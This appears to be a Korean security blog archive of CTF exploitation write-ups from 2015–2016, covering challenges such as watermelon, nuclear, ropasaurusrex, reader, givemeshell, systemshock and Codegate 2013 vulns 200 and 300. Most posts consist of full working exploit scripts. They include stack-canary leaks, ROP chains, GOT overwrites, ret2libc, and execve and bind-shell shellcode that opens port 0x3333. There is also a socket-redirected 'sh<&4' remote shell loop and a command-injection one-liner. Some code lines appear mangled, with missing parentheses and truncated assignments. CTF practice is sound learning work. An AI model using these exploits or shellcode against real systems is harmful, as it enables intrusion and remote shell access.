멍청하게 트리거도 안해놓고 libc 릭이 안된다고 답답해 미쳐가고 있었다...

덮어쓴 버퍼 위치정도는 잘 확인하자 ㅠㅠ

(그건 그렇고 pwntools 진짜 편하네)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from hackutil import *
from pwn import *
 
#============================
HOST = 'localhost'
PORT = 31335
 
offset_write_system = 0xd9510 - 0x3fcd0
name_address = 0x0804D7A0
pppr = 0x8049acd
binary = ELF('/home/skyclad/bin/watermelon')
#============================
 
conn = remote(HOST, PORT)
 
print " =============== [ Phase 1 : Canary Leak ] =============== "
 
conn.recvuntil('name : ')
conn.sendline('/bin/sh')
 
conn.recvuntil('select\t|\t\n')
 
for i in range(100):
    conn.sendline('1')
    conn.recvuntil('music')
    conn.sendline('1')
    conn.recvuntil('artist')
    conn.sendline('1')
    conn.recvuntil('select')
 
conn.sendline('3')
conn.recvuntil('number')
conn.sendline('100')
conn.recvuntil('music')
conn.sendline('5kyc1ad')
conn.recvuntil('artist')
conn.sendline('A'*20)
conn.recvuntil('select')
conn.sendline('2')
conn.recvuntil('A'*20)
 
canary = up32("\x00"+conn.recv(4)[1:])[0]
print "[*] Find Canary : "+str(hex(canary))
 
print " =============== [ Phase 2 : Libc Leak ] =============== "
 
conn.recvuntil('select')
 
conn.sendline('3')
conn.sendline('100')
conn.sendline('5kyc1ad')
 
payload = 'A'*20 + p32(canary) + 'A'*(8+4)
payload += p32(binary.plt['write']) + p32(pppr) + p32(1+ p32(binary.got['write']) + p32(4)
payload += p32(binary.plt['read']) + p32(pppr) + p32(0+ p32(binary.got['write']) + p32(4)
payload += p32(binary.plt['write']) + 'AAAA' + p32(name_address)
 
conn.sendline(payload)
conn.recvuntil('select')
conn.sendline('4')
conn.recvuntil('BYE BYE\n\n')
 
write_lib = up32(conn.recv(4))[0]
print "[*] Find write_lib : " + str(hex(write_lib))
system_lib = write_lib - offset_write_system
print "[*] Find system_lib : " + str(hex(system_lib))
 
print " =============== [ Phase 3 : Got Overwrite ] ================ "
conn.send(p32(system_lib))
print "[*] Get Shell"
conn.interactive()
 
cs


'CTF > 지난 대회' 카테고리의 다른 글

2016 SSG CTF - mg (350p)  (0) 2016.04.14
Codegate Junior 2014 Prequal - nuclear (with pwntools)  (0) 2016.03.02
Plaid CTF 2013 - ropasaurusrex (with pwntools)  (0) 2016.02.29
SecuInside 2013 - PE_time  (0) 2016.01.13
SecuInside 2013 - reader  (0) 2016.01.13
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,



왜 이걸 대회때 못풀고 이제야 푸는지 모르겠다.

이렇게 간단한 문제를... (이불킥


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from socket import *
from time import *
from telnetlib import *
import struct
 
#============================
system_got = 0x080484F0
#============================
 
p32 = lambda x: struct.pack('<L', x)
 
HOST = '192.168.206.129'
PORT = 31330
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
 
print sock.recv(1024)
print sock.recv(1024)
 
sock.send('1\n')
sleep(0.1)
print sock.recv(1024)
 
sock.send('1\n')
sleep(0.1)
print sock.recv(1024)
 
sock.send('Name\n')
sleep(0.1)
print sock.recv(1024)
 
sock.send('A'*4+p32(system_got)+'A'*71+'0')
sleep(0.1)
print sock.recv(1024)
 
sock.send('2\n')
sleep(0.1)
print sock.recv(1024)
 
sock.send('0\n')
sleep(0.1)
print sock.recv(1024)
 
sock.send('/bin/sh\x00\n')
sleep(0.1)
print sock.recv(1024)
 
= Telnet()
t.sock = sock
t.interact()
cs


블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,


라이브러리에서 구한 주소가 실제 내 라이브러리에서 했을 때 주소랑 다른걸 인지하지 못하고

계속 이상한 주소로 라이브러리가 구해지는 바람에 고생한 문제.

대회 환경과 같은 환경이 아니라는걸 명심하고 풀자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from time import *
from pwn import *
import struct
 
up32 = lambda x:struct.unpack('<L', x)[0]
p32 = lambda x:struct.pack('>L', x)
 
_bin = '/home/guest/bin/nuclear/nuclear'
 
elf = ELF(_bin)
rop = ROP(_bin)
 
recv_plt = elf.plt['recv']
recv_got = elf.got['recv']
send_plt = elf.plt['send']
offset_recv_system = 0x17bf50
bss = elf.bss()
vuln_func = 0x08048b5b
 
leak = 'A'*0x200
 
print "[*] recv@plt : %s" % str(hex(recv_plt))
print "[*] recv@got : %s" % str(hex(recv_got))
print "[*] send@plt : %s" % str(hex(send_plt))
print "[*] offset_recv_system : %s" % str(hex(offset_recv_system))
print "[*] bss : %s" % str(hex(bss))
 
#============== Passcode Leak & Library leak
 
conn = remote('localhost'1129)
 
conn.send('target')
sleep(0.3)
conn.send('1234.12341234/1234.12341234')
sleep(0.3)
conn.send(leak)
conn.recvuntil(leak)
passcode =  conn.recvuntil('\n')[8:][:-1]
conn.recv()
print "[*] Passcode : %s" % passcode
 
conn.send('launch\n')
sleep(0.1)
conn.send(passcode+"\n")
conn.recvuntil(': 100')
 
rop.send(4, recv_got, 40)
rop.recv(4, bss, 0x1000)
rop.raw(vuln_func)
rop.raw(0)
rop.raw(4)
payload = 'A'*(0x20c+4+ str(rop)
conn.send(payload)
sleep(0.1)
recv_lib = up32(conn.recvn(4))
system_lib = recv_lib - offset_recv_system
 
conn.send('/bin/cat ./key >&4\x00')
 
print "[*] recv_lib : %s" % str(hex(recv_lib))
print "[*] system_lib : %s" % str(hex(system_lib))
 
#============== Exploit
 
rop = ROP(elf)
rop.call(system_lib, [bss])
payload = "A"*(0x20c+4)+str(rop)
conn.send(payload)
print "[*] Key : "+conn.recv()
 
conn.close()
cs





역시 쉘을 따는건 귀찮았던 관계로 이렇게 키값만 가져오도록 했다.

'CTF > 지난 대회' 카테고리의 다른 글

Codegate Junior 2016 Prequal - watermelon  (0) 2016.04.23
2016 SSG CTF - mg (350p)  (0) 2016.04.14
Plaid CTF 2013 - ropasaurusrex (with pwntools)  (0) 2016.02.29
SecuInside 2013 - PE_time  (0) 2016.01.13
SecuInside 2013 - reader  (0) 2016.01.13
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

이미 풀었던 문제이지만 이번 해킹캠프에서도 봤듯이 익스플로잇을 꽤 편하게 해주는 pwntools를 이용하여

다시 한번 익스플로잇을 짜고 돌려 보았다.

여기서 다시한번 알게된 사실은, 문제와 함께 주어지는 라이브러리 파일은 엄연히 대회 때의 라이브러리로,

내 서버나 로컬에서 돌릴 경우에는 당연하게도 라이브러리가 바뀌므로 해당 라이브러리 파일을 분석해서 offset을 구해도

문제를 푸는 데에 아무런 도움을 주지 않는다는 점이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
import struct
 
_bin = '/home/guest/bin/ropasaurusrex/ropasaurusrex'
 
elf = ELF(_bin)
rop = ROP(elf)
 
up32 = lambda x:struct.unpack('<L', x)[0]
 
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
offset_read_system = 0x9aa40
offset_binsh_read = 0x85e54
vuln_func = 0x080483f4
 
print "[*] read@plt : %s" % str(hex(read_plt))
print "[*] read@got : %s" % str(hex(read_got))
print "[*] write@plt : %s" % str(hex(write_plt))
print "[*] write@got : %s" % str(hex(write_got))
print "[*] offset_read_system : %s" % str(hex(offset_read_system))
print "[*] offset_binsh_read : %s" % str(hex(offset_binsh_read))
 
conn = remote('localhost'51000)
 
rop.write(1, read_got, 4)
rop.raw(vuln_func)
 
payload = "A"*(0x88+4+ str(rop)
conn.send(payload)
read_lib = up32(conn.recvn(4))
system_lib = read_lib - offset_read_system
binsh = read_lib + offset_binsh_read
 
print "[*] read@lib : %s" % str(hex(read_lib))
print "[*] system@lib : %s" % str(hex(system_lib))
print "[*] /bin/sh : %s" % str(hex(binsh))
 
rop = ROP(elf)
rop.call(system_lib , [binsh])
payload = "A"*(0x88+4+ str(rop)
conn.send(payload)
conn.interactive()
cs






확실히 푸는데에 직접 got, plt를 구하지 않아도 된다는 점이나 길이를 정해서 recv가 가능한 점,

알아서 rop를 구성해 주는 점 등은 정말 편하고 쓰기 좋았다.

하지만 유의할 점은, 익숙하지 않은 상태에서 억지로 이 툴을 사용해 익스플로잇을 하려고 하면

무슨 함수를 사용해야 하는지 등을 모르기 때문에 오히려 더 시간이 오래 걸릴 수도 있다는 것이다.

좀 더 확실하게 익히기 위해서 다른 문제들도 pwntools를 이용해 재풀이를 해봐야겠다.

'CTF > 지난 대회' 카테고리의 다른 글

2016 SSG CTF - mg (350p)  (0) 2016.04.14
Codegate Junior 2014 Prequal - nuclear (with pwntools)  (0) 2016.03.02
SecuInside 2013 - PE_time  (0) 2016.01.13
SecuInside 2013 - reader  (0) 2016.01.13
SecuInside 2013 - givemeshell  (0) 2016.01.13
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

처음 실행했을때 깜짝 놀랐다.

일단 PEiD로 봤을때는 딱히 이상한 점은 없었는데,

IDA로 까보니 뭔가 안티디버깅 함수들이 있었다.

의미 없었지만.



(음? 누구시라구요?)


(히익 Egoist?!)

All alone with you 의 앨범 표지였던가 했던것 같다. 

어쨌든 이런 창 하나 띄워주고, 입력도 안받는다.

어디서 입력해야되는지도 모르겠고 그냥 분석하기로 했는데...




IDA로 까니까 이렇게 특정 문자열과 비교하는 부분이 있다.

간단하게 XOR, 뺄셈 후 비교하기만 하는 부분이므로

간단하게 역연산 해주면 풀린다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
string = 'C;@R'
enc = []
dec = ""
 
for i in string:
    enc.append(ord(i))
 
for i in range(16):
    enc[0= enc[0] ^ 3
    enc[0= enc[0+ i
 
for i in range(15):
    enc[1= enc[1] ^ 4
    enc[1= enc[1+ i
    
for i in range(14):
    enc[2= enc[2] ^ 5
    enc[2= enc[2+ i
 
for i in range(13):
    enc[3= enc[3] ^ 6
    enc[3= enc[3+ i
 
for i in enc:
    dec += chr(i)
 
print "Decrypted : " + dec
cs








블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

뭔가 엄청 오랜만에 풀어본 것 같은 로컬 익스플로잇 문제였다.

분석하는 데에 몇 시간 걸렸는데 막상 제대로 익스플로잇 짠 시간은 몇분...

이 프로그램이 뭐하는 프로그램인지 제대로 분석해야 뭔가를 할 수 있다고 생각해서 보자마자 분석했는데,

그러길 잘한 것 같다.


이 문제만의 포맷으로 새로운 파일을 읽어들이는 방식을 만들어 둔 거라 규칙에 맞게 파일을 만들어야 한다.


왠지 코어파일이 덮어씌워지지가 않아서 한참을 삽질했다 (-_-;;


ulimit -s unlimited 로 시스템과 binsh를 알아낸 후 RTL로 풀면 간단하게 풀 수 있다.

터지는 부분은 출력 함수 부분에서 size2 에 &i를 대입했기 때문에 일어나는 스택 오버플로우.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import struct
import os
 
p32 = lambda x: struct.pack("<L", x)
 
system = 0x4007c190
binsh = 0x4019ca24
 
data = "\xffSECUINSIDE\x00" + "A\x00"+"A"*0x62 + "\xff\xff\xff\xff"
data += p32(8+ p32(8+ p32(0x32+ p32(0+ "."
data += "A"*20+"BBBB"+"CCCC"+"DDDD"+"EEEE"+p32(system)+"GGGG"+p32(binsh)+"IIII"+"JJJJ"
 
= open("reader.sec""w")
f.write(data)
f.close()
 
os.system('./reader reader.sec')
cs


'CTF > 지난 대회' 카테고리의 다른 글

Plaid CTF 2013 - ropasaurusrex (with pwntools)  (0) 2016.02.29
SecuInside 2013 - PE_time  (0) 2016.01.13
SecuInside 2013 - givemeshell  (0) 2016.01.13
Codegate Junior 2015 Prequal - systemshock  (0) 2015.12.05
Codegate 2013 Prequal - vuln 300  (0) 2015.11.21
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

익스플로잇이 엄청 간단하다.


5글자를 받아와서 system에서 실행시켜주는 그런 문제인데, 5글자밖에 되지 않으니 파일 디스크립터를 이용하여 원하는 명령을 입력하도록 해야 한다고 생각했다.

리눅스에서 소켓의 fd는 기본적으로 4이므로 &4는 소켓의 fd를 의미한다.

따라서 sh를 실행시키고, 인자는 &4에서 받도록 < 를 이용해 넘겨준다.

sh에서 실행된 대부분의 명령은 모두 stdin으로 출력되므로 그것도 마찬가지로 &4로 받아오기 위해 뒤에 >&4를 붙여서 넘겨주면 쉘을 딴 것과 같은 효과를 낼 수 있다.




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from socket import *
from telnetlib import *
from time import *
 
HOST = '192.168.136.213'
PORT = 31339
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
 
while True:
    sock.send('sh<&4')
    data = raw_input('$ ')
    sock.send(data+">&4\n")
    sleep(0.1)
    print sock.recv(1024)
cs


'CTF > 지난 대회' 카테고리의 다른 글

SecuInside 2013 - PE_time  (0) 2016.01.13
SecuInside 2013 - reader  (0) 2016.01.13
Codegate Junior 2015 Prequal - systemshock  (0) 2015.12.05
Codegate 2013 Prequal - vuln 300  (0) 2015.11.21
Codegate 2013 Prequal - vuln 200  (0) 2015.11.21
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,


로컬 익스플로잇 문제인 모양인데, 지금 보면 이 간단한 문제를 왜 못풀었었는지 모르겠다.

strcat 부분에서 간단하게 오버플로우가 나고, SSP가 걸려 있는 통에 EIP 조작을 통한 공격은 쉽지 않아 보인다.

게다가 뭔가를 출력해주는 함수도 없기 때문에 PLT나 GOT를 활용하는 것도 불가능하다.

오버플로우를 내지 않고 공격을 해야 하는데, 루틴을 보면 공격할 부분이 보인다.

system(dest)로 바로 실행시켜주기 때문에 dest를 어떻게 조작해서 command injection를 하면 쉘을 딸 수 있다.

위에서 __ctype_b_loc 으로 특수문자가 있는지 확인하고, 거기에 더해 공백이 있는지까지 본다.

사실 공백 검사를 하는 것을 깜빡하고 테스트용으로 'echo Hello' 등을 넣어 공격했다가 삽질했다.

strcat를 한 다음에 저 검사를 하기 때문에, 오버플로우를 일으켜 argv[1]의 주소가 든 부분을 덮어써서 NULL이 있는 부분으로 보내버리면 되겠다.


우선 argv[1]의 위치를 확인했다.

argv[1]은 0x7fffffffe893에 존재했고, 이 주소가 들어 있는 부분은 0x7fffffffe630이다.


다음으로 strcat의 인자를 확인하여 dest에 0x7fffffffe420이 들어가는 것을 확인했다.


이 주소간의 offset을 구해보면 0x210이 나온다.


마지막으로 NULL이 위치한 구간을 대충 찾았고, 이걸로 페이로드를 구성하면


./shock `python -c 'print "(dummy);/bin/sh;" + "A" * (0x210-3-len("(dummy);/bin/sh;")) + "\x64\x0a\x40"'`


이 되겠다.

3을 빼주는 이유는 미리 dest에 "id "라는 문자열이 들어 있기 때문이다.

이렇게 공격을 수행하면


쉘을 따는 것에 성공할 수 있다.

'CTF > 지난 대회' 카테고리의 다른 글

SecuInside 2013 - reader  (0) 2016.01.13
SecuInside 2013 - givemeshell  (0) 2016.01.13
Codegate 2013 Prequal - vuln 300  (0) 2015.11.21
Codegate 2013 Prequal - vuln 200  (0) 2015.11.21
Codegate 2015 - Bookstore  (0) 2015.11.16
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

문제가 갈수록 더 쉬워지는 기분이다;

100, 200, 300점 순서를 바꿔야 할 것 같다.

이 문제는 또 이상한게 분명히 xinetd 로 돌려서 익스플로잇을 해 봤는데, 똑같은 코드를 그대로 로컬에서 돌리면 쉘이 잘 따이는데

리모트로 공격하면 아무리 해도 안되길래 둘 다 올려둔다.

혹시라도 왜 그런지 아는 사람은 답을 주시면 감사하겠습니다.

멍청하게 찡찡댔었다.

interact를 안하다니...아직도 멀었구나.


1
2
3
4
5
6
7
8
9
10
11
12
13
import struct
import os
 
p32 = lambda x: struct.pack("<L", x)
 
#===============================================
buf = 0x080491E0
shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
# execve("/bin/sh", ["/bin/sh", 0], 0);
#===============================================
 
payload = "-4\n"+p32(buf+4)+p32(buf+8)+"\x90"*100+shellcode
os.system('(echo "'+payload+'";cat)|./cg13_300')
cs

Local Exploit



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from hackutil import *
from socket import *
from time import *
from telnetlib import *
 
HOST = '192.168.136.180'
PORT = 7777
 
#===============================================
buf = 0x080491E0
shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
# execve("/bin/sh", ["/bin/sh", 0], 0);
#===============================================
payload = p32(buf+4)+p32(buf+8)+"\x90"*100+shellcode
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
print sock.recv(1024)
sock.send('-4\n'+payload)
sleep(4)
print sock.recv(1024)
 
= Telnet()
t.sock = sock
t.interact()
cs

Remote Exploit

'CTF > 지난 대회' 카테고리의 다른 글

SecuInside 2013 - givemeshell  (0) 2016.01.13
Codegate Junior 2015 Prequal - systemshock  (0) 2015.12.05
Codegate 2013 Prequal - vuln 200  (0) 2015.11.21
Codegate 2015 - Bookstore  (0) 2015.11.16
Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL  (0) 2015.11.03
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

어찌된 문제가 200보다 100이 더 어렵다...

엄청 간단한 스택 버퍼 오버플로우이므로 설명은 생략.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from hackutil import *
from socket import *
from time import *
from telnetlib import *
 
HOST = '192.168.136.180'
PORT = 7777
 
#=====================================
Dummy = 'write'
recv_plt = 0x08048780
bss = 0x0804b0a0
shellcode = ("\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66"
            "\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89"
            "\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52"
            "\x66\x68\x33\x33\x66\x53\x89\xe1\x6a\x10"
            "\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04"
            "\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\xb3"
            "\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3"
            "\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80"
            "\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68"
            "\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89"
            "\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"# bind port : 0x3333
 
#=====================================
 
= socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
print s.recv(1024)
 
print "==================[ Phase 1 : Inject Payload ]=================="
payload = Dummy+'A'*(0xF0+ p32(recv_plt) + p32(bss)
payload += p32(4+ p32(bss) + p32(0x1000+ p32(0)
printPayload(payload)
s.send(payload+'\n')
sleep(1)
 
print "===============[ Phase 2 : Attack with Shellcode ]=============="
 
s.send(shellcode+'\n')
sleep(1)
 
print "===================[ Phase 3 : Got the Shell ]=================="
 
s2 = socket(AF_INET, SOCK_STREAM)
s2.connect((HOST, 0x3333))
= Telnet()
t.sock = s2
t.interact()
 
s.close()
cs


'CTF > 지난 대회' 카테고리의 다른 글

Codegate Junior 2015 Prequal - systemshock  (0) 2015.12.05
Codegate 2013 Prequal - vuln 300  (0) 2015.11.21
Codegate 2015 - Bookstore  (0) 2015.11.16
Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL  (0) 2015.11.03
Codegate 2013 Prequal - vuln 100  (0) 2015.10.30
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,